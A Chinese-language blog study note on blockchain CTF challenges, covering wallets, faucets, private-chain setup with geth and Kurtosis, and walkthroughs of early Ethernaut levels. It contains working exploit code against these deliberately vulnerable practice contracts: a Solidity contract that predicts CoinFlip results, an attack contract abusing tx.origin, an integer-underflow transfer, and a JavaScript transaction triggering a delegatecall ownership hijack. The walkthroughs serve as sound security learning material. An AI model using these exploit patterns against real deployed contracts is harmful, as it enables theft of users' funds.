写在前面

怎么现在的misc区块链内容越来越多了,不得不学了

2025.10.30我决定重拾区块链,之前由于环境的问题一直没能坚持下去。

什么是区块链?

区块链(英语:blockchain或block chain)是借由密码学共识机制等技术建立与存储庞大交易资料链的点对点网络系统。

从字面上看:区块链是由一个个记录着各种信息的小区块链接起来组成的一个链条,类似于我们将一块块砖头叠起来,而且叠起来后是没办法拆掉的,每个砖头上面还写着各种信息,包括:谁叠的,什么时候叠的,砖头用了什么材质等等,这些信息你也没办法修改。

从计算机上看:区块链是一种比较特殊的分布式数据库。分布式数据库就是将数据信息单独放在每台计算机,且存储的信息的一致的,如果有一两台计算机坏掉了,信息也不会丢失,你还可以在其他计算机上查看到。

区块链是一种分布式的,所以它是没有中心点的,信息存储在所有加入到区块链网络的节点当中,节点的数据是同步的。节点可以是一台服务器,笔记本电脑,手机等。

有没一两句话能说明白区块链的?

有的。

麻将作为中国传统的区块链项目,四个矿工一组,先碰撞出13个数字正确哈希值的矿工可以获得记账权并得到奖励。

基本工具名词

钱包

顾名思义就是存储钱的钱包

这里推荐使用MetaMask,chrome浏览器上的一个插件。

屏幕截图 2025-02-09 182036

应该也可以使用 imtoken ,手机上的钱包

注意每个钱包有一个地址,是收款的地址。而且注册账号时会让你记一些助记词,用来在忘记密码(私钥)的时候找回密码或钱包。

切换网络

在写CTF题目时候可以看比赛题目部署在哪个网路上,可以点击metamask左上角切换网络

屏幕截图 2025-02-09 182359

这个主要看比赛的网络,有些需要我们自己搭建自定义的网络,怎么搭建可以看?CTFweek4的区块链。

如何获取以太币?

主要有一些水龙头可以每日拿一点,网上可以搜到

1.ZAN Faucet - Get Ethereum Testnet and Solana Devnet Tokens

2.Ethereum Sepolia Faucet

3.https://sepolia-faucet.pk910.de/(可以试一下这个,好像是挖矿拿到的测试eth,但是不要求0.01eth。ip被ban的话可以换热点。)

以及这个收藏了一些常用的:

Faucet Link

然而公链的水龙头大多数都是需要钱包有0.01ETH的,如果难拿到的话就去部署私链吧

助记词

助记词是从建立账户的时候自动生成的,一般是12个或者24个,用来帮助找回密码。

但是助记词并不是随机生成的,而是有一定的规律的,而且助记词是有范围的,一共2048个

这里是所有2048个助记词(英文): bips/bip-0039/english.txt at master · bitcoin/bips

如果从题目中拿到的一些助记词可以从这里缩小范围。

常用学习网站:

以太坊:

以太坊开发文档 | ethereum.org

IDE(编写Solidity合约):

Remix - Ethereum IDE — Remix - Ethereum IDE

区块链浏览器:
Ethereum(ETH)区块链浏览器

ctfwiki:

Blockchain Security Overview - CTF Wiki

Solidity了解

学solidity语言,Solidity by Example | 0.8.26

智能合约漏洞靶场:The Ethernaut

👆这个靶场比较常用,想刷题的话可以在这个上面刷题。

CTF中区块链介绍

区块链题目一般都会给出三个链接:RPC(Remote Procedure Call)、Faucet(水龙头/水管)和题目链接

  • RPC:可以大概理解为链的提供者,我们需要链接上一个RPC后才可以在上面进行创建账户、部署合约、调用合约等操作。

  • Faucet:可以理解为免费的提款机(水龙头就是源源不断有水流出的意思),通常把自己钱包的公钥输进去后就会给你打钱,以太坊中的很多操作都需要付Gas(燃料费,可以理解为手续费),所以创建账户后首先要记得去水龙头拿钱。

    但要注意如果用的是公共测试链的话需要一定拿钱门槛,而且给的还贼少,主链的话就不可能免费了,通常要用USD去换。

  • 题目链接:用来部署题目、提交答案等,通常题目代码在这拿。

创建私链

Geth客户端:以太坊最新windows安装Geth并启动私有链-CSDN博客

网上搜索会发现有些人是使用rinkeby来进行部署的,但是我们切换网络的时候会发现没有这个网络,再一搜索发现原来是rinkeby在2022年就已经被弃用了,大部分网络都在sepolia上。

我们去寻找一些水龙头(以及上文所提到的一些水龙头)会发现这些都需要我们账户上已经有0.001eth才能打进去。

思来想去我们还是部署私链吧,那问题又回到了如何部署私链上。

部署私链的话建议使用第二种方法,别看第一种!!

==================================================================================

第一种:以下适用于geth的版本<1.13.14

参考搭建:以太坊搭建私有链(非常详细!!!)_以太坊私有链搭建-CSDN博客

主要看这个:使用 Geth 构建你自己的私有以太坊网络 - 手把手教程 | 登链社区 | 区块链技术社区

先在wsl上部署go环境,下载go-ethereum,make之后就可以看geth了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
geth geth account new --datadir ./data
#创建账户

geth account list --datadir ./data
#查看所有账户

geth --datadir db --nodiscover console
#进入geth控制台

echo "..." > ./data/password.txt
#密码输入到password.txt

geth --dev --datadir ./data \
--http --http.api "eth,net,web3,miner,txpool,personal" \
--unlock 0xa73ddB691e7618F6cebcee2BE6D14A146811F41F \
--password ./data/password.txt \
console
#--dev开发模式;
#--http启用 HTTP-RPC 服务,让外部程序可以通过HTTP调用Geth的JSON-RPC接口;
#--unlock解锁账户;
#--password输入密码;

eth.getBalance(eth.accounts[0])
#查看账户余额,报错的话括号里面就跟上地址,如eth.getBalance("0xa73ddB691e7618F6cebcee2BE6D14A146811F41F")

metavi=eth.accounts[0]
#起别名(metavi)

两个账户:

a73ddb691e7618f6cebcee2be6d14a146811f41f

7ab2e80afa643f97694b42fc15b5df5fb63ac002

genesis.json:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
{  
"config": {
"chainId": 1234567,
"homesteadBlock": 0,
"eip150Block": 0,
"eip155Block": 0,
"eip158Block": 0,
"byzantiumBlock": 0,
"constantinopleBlock": 0,
"petersburgBlock": 0,
"istanbulBlock": 0,
"berlinBlock": 0,
"clique": {
"period": 5,
"epoch": 30000
}
},
"difficulty": "1",
"gasLimit": "8000000",
"extradata": "0x0000000000000000000000000000000000000000000000000000000000000000a73ddb691e7618f6cebcee2be6d14a146811f41f0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000",
"alloc": {
"a73ddb691e7618f6cebcee2be6d14a146811f41f": {
"balance": "3000000000000000000000000000000000000"
},
"7ab2e80afa643f97694b42fc15b5df5fb63ac002": {
"balance": "3000000000000000000000000000000000000"
}
}
}

最好保存到info.txt里面:

1
2
3
4
5
6
7
Node1 = a73ddb691e7618f6cebcee2be6d14a146811f41f
Password = ...

Node2 = 7ab2e80afa643f97694b42fc15b5df5fb63ac002
Password = ...

enode://d31a964e659d785fefdd0596f0ec27e9e858ad1c4e8b3ae6b38b6d75449bab407a1247c9696dcafefbbd6388427c1a6642f9ea05f6186ecb1e7f17f4103b455f@127.0.0.1:0?discport=30301

如果是最新版本的话,已经没有bootnode了,需要手动引入

创建节点

1
2
3
4
5
6
7
8
9
10
11
12
geth --datadir "./data" \
--port 30304 \
--bootnodes "enode://d31a964e659d785fefdd0596f0ec27e9e858ad1c4e8b3ae6b38b6d75449bab407a1247c9696dcafefbbd6388427c1a6642f9ea05f6186ecb1e7f17f4103b455f@127.0.0.1:0?discport=30301" \
--authrpc.port 8547 \
--ipcdisable \
--allow-insecure-unlock \
--http --http.corsdomain="https://remix.ethereum.org" \
--http.api web3,eth,debug,personal,net \
--networkid 123456 \
--unlock 0xa73ddb691e7618f6cebcee2be6d14a146811f41f \
--password password.txt \
--mine --miner.etherbase=0x7ab2e80afa643f97694b42fc15b5df5fb63ac002

==================================================================================

第二种:以下适用于最新版本

最新版geth1.16.6貌似已经不需要手动搭建私链了,而且随着以太坊网络从工作量证明(PoW)转向权益证明(PoS),Geth 不再支持通过 Ethash 或 Clique 共识机制来封装区块。现在,Geth 只能在 PoS 模式下与共识客户端(如 Prysm、Lighthouse、Teku 等)配合使用。

官方文档:https://geth.ethereum.org/docs/fundamentals/kurtosis

官方文档已经说明过去的手动搭建私链有问题(out of date),我们现在只需要使用 Kurtosis 搭建本地私链即可。

首先需要保证安装了docker

然后我们安装kurtosis

1
2
3
echo "deb [trusted=yes] https://apt.fury.io/kurtosis-tech/ /" | sudo tee /etc/apt/sources.list.d/kurtosis.list
sudo apt update
sudo apt install kurtosis-cli

然后配置network_params.yaml:

1
2
3
4
5
6
7
8
9
10
participants:
- el_type: geth
cl_type: lighthouse
count: 2
- el_type: geth
cl_type: teku
network_params:
network_id: "585858"
additional_services:
- dora

然后可以:

1
kurtosis run github.com/ethpandaops/ethereum-package --args-file ./network_params.yaml --image-download always

当然,如果环境有问题或者类似访问不了github/拉取不了镜像的话我们可以先把它们拉过来

1
2
3
4
5
6
7
8
9
git clone https://github.com/ethpandaops/ethereum-package.git
docker pull ethereum/client-go:latest
docker pull ethpandaops/lighthouse:unstable
docker pull ethpandaops/teku:master
docker pull sigp/lighthouse:latest
docker pull protolambda/eth2-val-tools:latest
docker pull ethpandaops/ethereum-genesis-generator:5.1.0
docker pull badouralix/curl-jq
docker pull ethpandaops/dora:latest

拉完之后变成(每次开机重新部署的话也用这个命令)

1
kurtosis run ./ethereum-package --args-file ./network_params.yaml --image-download always

然后再运行。

成功之后会输出一长串,其中有一条

1
ce99baf0daed   dora                                             http: 8080/tcp -> http://127.0.0.1:32797      RUNNING

http://127.0.0.1:32797这个就是你的dora,这是一个区块链浏览器

然后我们需要找到network_id,rpc: 8545/tcp -> 127.0.0.1:32785(这个在User Services 中的 el-1-geth-lighthouse)。都在之前的输出里面,实在找不到可以复制下来ctrl+f

然后那些输出里面就有20个测试账户,直接导入私钥就行。

然后你就会发现在测试网络上你拥有10亿的eth。

这样就可以愉快的开始刷题了!

kurtosis 其他命令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kurtosis engine status 	# 显示当前 Kurtosis 引擎的状态信息,包括版本、运行状态等。
kurtosis engine logs #查看 Kurtosis 引擎的日志,以帮助诊断和调试问题
kurtosis engine stop #停止当前正在运行的 Kurtosis 引擎。这会停止所有关联的 enclave。
kurtosis engine clean #清理所有 enclave 和关联的资源,同时停止 Kurtosis 引擎。这对于完全重置环境非常有用。
kurtosis engine start #启动 Kurtosis 引擎。如果引擎之前已经停止,可以用这个命令重新启动它。
kurtosis engine restart #重启 Kurtosis 引擎,相当于先停止再启动。
kurtosis engine set-log-level debug #设置 Kurtosis 引擎的日志级别,可以在不同级别之间切换以获得不同的日志详细度(如 debug、info、warn、error)。
kurtosis run <package> #可以通过 Github URL 或 git 存储库的本地路径启动任何包。
kurtosis enclave rm -f <enclave-name> #清理对应的enclave-name的资源
kurtosis clean -a #清理所有资源
kurtosis service shell my-testnet $SERVICE_NAME # shell 访问权限
kurtosis service logs my-testnet $SERVICE_NAME # 访问服务的日志
kurtosis enclave ls #查看所有已创建的 enclave(环境)
kurtosis enclave start <enclave_name> #启动已停止的环境
kurtosis enclave stop <enclave_name> #停止已启动的环境

The Ethernaut刷题

刷题时候参考:

区块链学习笔记:Ethernaut刷题记录 | Tover’s Blog

Ethernaut闯关录(上)-先知社区

Hello Ethernaut

第一关比较简单,f12一下在控制台输入一些东西即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
contract.info()
// 'You will find what you need in info1().'

contract.info1()
// 'Try info2(), but with "hello" as a parameter.'

contract.info2('hello')
// 'The property infoNum holds the number of the next info method to call.'

(contract.infoNum()).words[0]
// 42

contract.info42()
// 'theMethodName is the name of the next method.'

contract.theMethodName()
// 'The method name is method7123949.'

contract.method7123949()
// 'If you know the password, submit it to authenticate().'

contract.password()
// 'ethernaut0'

contract.authenticate('ethernaut0')

最后提交实例就可以了

Fallback

通过这关你需要

  1. 获得这个合约的所有权
  2. 把他的余额减到0

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
mapping(address => uint256) public contributions;
address public owner;

constructor() {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

function getContribution() public view returns (uint256) {
return contributions[msg.sender];
}

function withdraw() public onlyOwner {
payable(owner).transfer(address(this).balance);
}

receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}

这道题需要我们获得所有权和减余额到0

第一个有两种方式:

一种是利用这个函数,但是你每次只能传0.001eth,还要超过1000eth才能得到owner,很难。

1
2
3
4
5
6
7
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if (contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}

另一种即使利用这个receive(),只要传入超过0就能拿到,但是我们需要想办法触发这个函数

1
2
3
4
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}

[!NOTE]

receive() 是 Solidity 中的一个特殊函数,用于专门用于接收 没有数据 的以太币转账的函数。在合约中定义 receive() 函数时,它会在合约收到以太币时自动调用。通常用于当合约只是接收资金而不需要额外的调用信息时使用

fallback() 是一个通用的接收函数,用于接收 有数据 的交易(即带有 data 的调用),或者当 receive() 函数没有被定义时,会自动成为接收以太币的默认函数。

以太坊Solidity语言的Receive函数和Fallback回退函数详解_solidity fallback-CSDN博客

触发这个函数的方式也很简单,直接

1
2
3
4
contract.contribute({value:1}) 
contract.send(1)
contract.owner() #查看owner所有
getBalance(instance) #查看有多少钱

然后提交就成功了。

Fallout

题目提示我们使用remix ide,我们可用可不用吧

通关条件是成为owner

还有提示:

这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧?

实际上… 也未必.

Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 ‘Dynamic Pyramid’ 改成 ‘Rubixi’ 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名:

1
2
3
4
5
contract Rubixi {
address private owner;
function DynamicPyramid() { owner = msg.sender; }
function collectAllFees() { owner.transfer(this.balance) }
...

这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
using SafeMath for uint256;

mapping(address => uint256) allocations;
address payable public owner;

/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

modifier onlyOwner() {
require(msg.sender == owner, "caller is not the owner");
_;
}

function allocate() public payable {
allocations[msg.sender] = allocations[msg.sender].add(msg.value);
}

function sendAllocation(address payable allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}

function collectAllocations() public onlyOwner {
msg.sender.transfer(address(this).balance);
}

function allocatorBalance(address allocator) public view returns (uint256) {
return allocations[allocator];
}
}

可以看到:

1
2
3
4
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}

构造函数名称与合约名称不一致使其成为一个public类型的函数,即任何人都可以调用,同时在构造函数中指定了函数调用者直接为合约的owner,所以我们可以直接调用构造函数Fal1out来获取合约的ower权限。

所以直接

1
2
3
contract.owner()
contract.Fal1out()
contract.owner()

就能发现owner是我们自己了,提交即可。

CoinFlip

提示:

通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.

想要获得密码学上的随机数,你可以使用 Chainlink VRF, 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.

一些其它的选项包括使用比特币block headers (通过验证 BTC Relay), RANDAO, 或是 Oraclize).

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

这可能能帮助到你

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

分析:

在合约的开头先定义了三个uint256类型的数据——consecutiveWins、lastHash、FACTOR,其中FACTOR被赋予了一个很大的数值,之后查看了一下发现是2^255。
之后定义的CoinFlip为构造函数,在构造函数中将我们的猜对次数初始化为0。
之后的flip函数先定义了一个blockValue,值是前一个区块的hash值转换为uint256类型,block.number为当前的区块数,之后检查lasthash是否等于blockValue,相等则revert,回滚到调用前状态。之后便给lasthash赋值为blockValue,所以lasthash代表的就是上一个区块的hash值。
之后就是产生coinflip,它就是拿来判断硬币翻转的结果的,它是拿blockValue/FACTR,前面也提到FACTOR实际是等于2^255,若换成256的二进制就是最左位是0,右边全是1,而我们的blockValue则是256位的,因为solidity里“/”运算会取整,所以coinflip的值其实就取决于blockValue最高位的值是1还是0,换句话说就是跟它的最高位相等,下面的代码就是简单的判断了。
通过对以上代码的分析我们可以看到硬币翻转的结果其实完全取决于前一个块的hash值,看起来这似乎是随机的,它也确实是随机的,然而事实上它也是可预测的,因为一个区块当然并不只有一个交易,所以我们完全可以先运行一次这个算法,看当前块下得到的coinflip是1还是0然后选择对应的guess,这样就相当于提前看了结果。

之后我们上remix ide,编写攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// https://learnblockchain.cn/question/2206
interface CoinFlip {
function consecutiveWins() external returns (uint256);
function flip(bool) external returns (bool);
}

contract Hack {
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
event Log(string);
event Log(uint256);
event Log(bool);

address cf_addr = 0x5F03b592F22aAEEEACFE4C3e31D5734a5F5D2430;
CoinFlip cf = CoinFlip(cf_addr);

function flip() public {
emit Log(block.number - 1);
uint256 blockValue = uint256(blockhash(block.number - 1));
emit Log(blockValue);

uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
emit Log(side);
cf.flip(side);
emit Log(cf.consecutiveWins());
}

function flipN(uint n) public {
for (uint i=0; i<n; i++) {
flip();
}
}
constructor() {
}
}

其中cf_addr是合约地址。

使用0.8.0编译,然后在这里记得把合约切换到hack-tests/hack.sol。

1761901319212

手动点十次flip,之后可以上metamask查看是否有十次

1761901414852

十次就行,提交实例吧

Telephone

提示:

这个例子比较简单, 混淆 tx.originmsg.sender 会导致 phishing-style 攻击, 比如this.

下面描述了一个可能的攻击.

  1. 使用 tx.origin 来决定转移谁的token, 比如.
1
2
3
4
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}
  1. 攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如
1
2
3
function () payable {
token.transfer(attackerAddress, 10000);
}
  1. 在这个情况下, tx.origin 是受害者的地址 ( msg.sender 是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.

合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Telephone {
address public owner;

constructor() {
owner = msg.sender;
}

function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}

tx.origin和msg.sender不相等就更新为传入的owner

tx.origin和msg.sender的区别:前者表示交易的发送者,后者则表示消息的发送者。在别的合约中调用changeOwner,则tx.originplayermsg.sender是这个合约,造成tx.originmsg.sender不一致

remix部署攻击代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface Telephone {
function owner() external;
function changeOwner(address _owner) external;
}

contract Hack {
address addr = 0x3564589cA9A402d7f3a5484638555F580752FDbE;

function hack() public {
Telephone tp = Telephone(addr);
tp.changeOwner(msg.sender);
}

constructor() {

}
}

1761903147974

hack一下查看owner,就发现过了。

提交之后显示:

这个例子比较简单, 混淆 tx.originmsg.sender 会导致 phishing-style 攻击, 比如this.

下面描述了一个可能的攻击.

  1. 使用 tx.origin 来决定转移谁的token, 比如.
1
2
3
4
function transfer(address _to, uint _value) {
tokens[tx.origin] -= _value;
tokens[_to] += _value;
}

2.攻击者通过调用合约的 transfer 函数是受害者向恶意合约转移资产, 比如

1
2
3
function () payable {
token.transfer(attackerAddress, 10000);
}

3.在这个情况下, tx.origin 是受害者的地址 ( msg.sender 是恶意协议的地址), 这会导致受害者的资产被转移到攻击者的手上.

Token

提示:Overflow 在 solidity 中非常常见, 你必须小心检查, 比如下面这样:

1
2
3
if(a + c > a) {
a = a + c;
}

另一个简单的方法是使用 OpenZeppelin 的 SafeMath 库, 它会自动检查所有数学运算的溢出, 可以像这样使用:

1
a = a.add(c);

如果有溢出, 代码会自动恢复.

这一关的目标是攻破下面这个基础 token 合约

你最开始有20个 token, 如果你通过某种方法可以增加你手中的 token 数量,你就可以通过这一关,当然越多越好

这可能有帮助:

  • 什么是 odometer?

合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {
mapping(address => uint256) balances;
uint256 public totalSupply;

constructor(uint256 _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}

function transfer(address _to, uint256 _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}

function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}

考了整数下溢,我们拥有20的token,但是如果转21的话,token就会变为2^256-1。

1
2
(await contract.balanceOf(player)).words[0]
#看余额

虚构player2,转21

1
2
play2 = '0x0000000000000000000000000000000000000000';
contract.transfer(play2, 21)

再看余额发现变为67108863

1
(await contract.balanceOf(player)).words[0]

就过关了。

Delegation

提示:

使用delegatecall 是很危险的, 而且历史上已经多次被用于进行 attack vector. 使用它, 你对合约相当于在说 “看这里, -其他合约- 或是 -其它库-, 来对我的状态为所欲为吧”. 代理对你合约的状态有完全的控制权. delegatecall 函数是一个很有用的功能, 但是也很危险, 所以使用的时候需要非常小心.

请参见 The Parity Wallet Hack Explained 这篇文章, 他详细解释了这个方法是如何窃取三千万美元的.

这一关的目标是申明你对你创建实例的所有权.

这可能有帮助

  • 仔细看solidity文档关于 delegatecall 的低级函数, 他怎么运行的, 他如何将操作委托给链上库, 以及他对执行的影响.
  • Fallback 方法
  • 方法 ID

合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Delegate {
address public owner;

constructor(address _owner) {
owner = _owner;
}

function pwn() public {
owner = msg.sender;
}
}

contract Delegation {
address public owner;
Delegate delegate;

constructor(address _delegateAddress) {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}

fallback() external {
(bool result,) = address(delegate).delegatecall(msg.data);
if (result) {
this;
}
}
}

关于delegatecall:Solidity delegatecall 的使用和误区 | 登链社区 | 区块链技术社区

它可以用来调用外部合约的方法,但是仅调用了外部合约的代码(code),所用的全局变量还是本合约中的变量,即可以调用外部代码修改本地变量

这题只要通关delegatecall调用delegate里的pwn()就可以获得所有权

这样我们就可以编辑js代码了

看所有

1
await contract.owner()

编写攻击代码,其中sk填写你的私钥(仍旧放f12的控制台运行)

1
2
3
4
5
6
7
8
9
var contract2 = new web3.eth.Contract(contract.abi, contract.address);
const sk = '...';
const tx = {
gas: 300000,
to: contract.address,
data: web3.eth.abi.encodeFunctionSignature('pwn()')
};
var sign = await web3.eth.accounts.signTransaction(tx, sk);
var result = await web3.eth.sendSignedTransaction(sign.rawTransaction);

再看所有

1
await contract.owner()

就过了。

Force

提示:

在solidity中, 如果一个合约要接受 ether, fallback 方法必须设置为 payable.

但是, 并没有发什么办法可以阻止攻击者通过自毁的方法向合约发送 ether, 所以, 不要将任何合约逻辑基于 address(this).balance == 0 之上.

合约:

1
2
3
4
5
6
7
8
9
10
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Force { /*
MEOW ?
/\_/\ /
____/ o o \
/~____ =ø= /
(______)__m_m)
*/ }

CTF中区块链题目

?CTF,本周的签到

详见QCTF2025misc出题手记 | MetaVi